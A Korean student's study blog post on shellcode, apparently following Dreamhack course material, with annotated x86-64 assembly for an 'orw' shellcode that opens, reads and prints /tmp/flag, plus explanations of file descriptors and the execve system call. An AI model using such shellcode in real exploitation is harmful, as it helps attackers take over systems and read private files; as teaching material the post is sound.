Shellcode

EUGENE·2023년 4월 20일
0
post-thumbnail

소개

익스플로잇 (Exploit)

상대 시스템을 공격하는 것

셸 코드 (Shellcode)

  • 익스플로잇을 위해 제작된 어셈블리 코드 조각
  • 일반적으로 셸을 획득하기 위한 목적으로 셸코드 사용
  • 셸을 획득하는 것은 시스템 해킹에서 매우 중요

⭐ 해커가 rip을 자신이 작성한 셸코드의 주소로 변경

  • 셸 코드는 어셈블리어로 구성된 만큼 아키텍처와 운영체제에 따라 다르게 작성해야함

orw Shellcode

  • 파일을 엵고 읽은 뒤 화면에 출력해주는 셸코드
  • /tmp/flag 를 읽는 셸코드 작성
char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

📌 알아두어야 하는 System Call

구현

; int fd = open("/tmp/flag", O_RDONLY, NULL) 이 부분을 구현할거임

push 0x67 ; g의 아스키코드 g는 왜 따로 하느냐? 64비트(8글자)가 다 차버려서ㅠㅠ
mov rax, 0x616c662f706d742f  ; /tmp/fla 문자열의 아스키 코드 -> 리틀 엔디언
push rax                     ; 16진수 두개씩 끊어서 읽어봐
mov rdi, rsp ; rdi = "/tmp/flag" , rdi는 arg0임
xor rsi, rsi  ; rsi = 0; RD_ONLY
xor rdx, rdx  ; rdx = 0
mov rax, 2    ; rax = 2 -> syscall_open
syscall       ; open("/tmp/flag", RD_ONLY, NULL)

; read(fd, buf, 0x30) 이번엔 이 부분을 구현할 거임
; – syscall의 반환 값은 rax로 저장, 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장.
; – read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입.
; – rsi는 파일에서 읽은 데이터를 저장할 주소를 포인팅, 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입.
; – rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정.
; – read 시스템콜을 호출하기 위해서 rax를 0으로 설정.
mov rdi, rax  ; rdi = fd
mov rsi, rsp  
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30     ; len
mov rax, 0x0  ; rax = 0        ; syscall_read
syscall       ; read(fd, buf, 0x30

; write(1, buf, 0x30) 차례
; rsi, rdx는 read에서 사용한 값을 그대로 사용
mov rdi, 1  ; rdi = 1 ; fd = stdout 출력은 stdout으로 할거라서
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall     ; write(fd, buf, 0x30) 

📌 fd란?

  • 구구절절한 설명

유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자

0 : 일반 입력(Standard Input, STDIN) 주로 키보드

1 : 일반 출력(Standard Output, STDOUT) 화면

2 : 일반 오류(Standard Error, STDERR)

execve 셸코드

: 임의의 프로그램을 실행하는 셸코드

system call

구구절절한 설명

📌 출처 : 진구

C 언어에서 execve() 함수는 새로운 프로세스를 생성하는 시스템 콜입니다. 이 함수는 기존의 프로세스를 새로운 프로세스로 대체하는데 사용됩니다.

execve() 함수는 다음과 같은 선언을 갖습니다.


int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename: 실행할 프로그램의 경로와 이름입니다.
  • argv[]: 실행할 프로그램에 전달할 인자값들을 담고 있는 문자열 배열입니다.
  • envp[]: 실행할 프로그램에서 사용할 환경 변수를 담고 있는 문자열 배열입니다.

execve() 함수를 호출하면 새로운 프로세스가 생성되고 filename으로 지정한 프로그램이 실행됩니다. 실행할 프로그램은 현재 프로세스와는 독립적으로 동작하며, argv[]envp[]를 통해 전달된 인자와 환경 변수를 사용할 수 있습니다.

execve() 함수는 호출에 성공하면 현재 프로세스의 메모리 영역을 대체하여 새로운 프로그램을 실행합니다. 즉, 현재 프로세스는 새로운 프로그램이 종료될 때까지 더 이상 실행되지 않습니다. 이러한 특징으로 인해, execve() 함수는 다른 프로그램을 실행하는 용도로 주로 사용됩니다.

예를 들어, 다음과 같은 코드는 ls 명령어를 실행하는 예제입니다.


#include <stdio.h>
#include <unistd.h>

int main(void) {
    char *argv[] = {"ls", "-l", NULL};
    execve("/bin/ls", argv, NULL);
    printf("This line will not be executed\n");
    return 0;
}

위 코드에서 execve() 함수는 /bin/ls 프로그램을 실행합니다. argv 배열은 ls 프로그램에 전달할 인자를 저장하고 있으며, NULL을 마지막으로 구분합니다. envp 배열은 NULL로 설정하여 환경 변수를 사용하지 않도록 합니다. 실행 결과로는 현재 디렉토리의 파일 목록이 출력됩니다. 이후의 코드는 execve() 함수가 호출되면 실행되지 않습니다.

출처

드림핵, 우리 학교 교수님

profile
한 줄로 소개하기엔 여백이 좁아 적지 않겠습니다.

0개의 댓글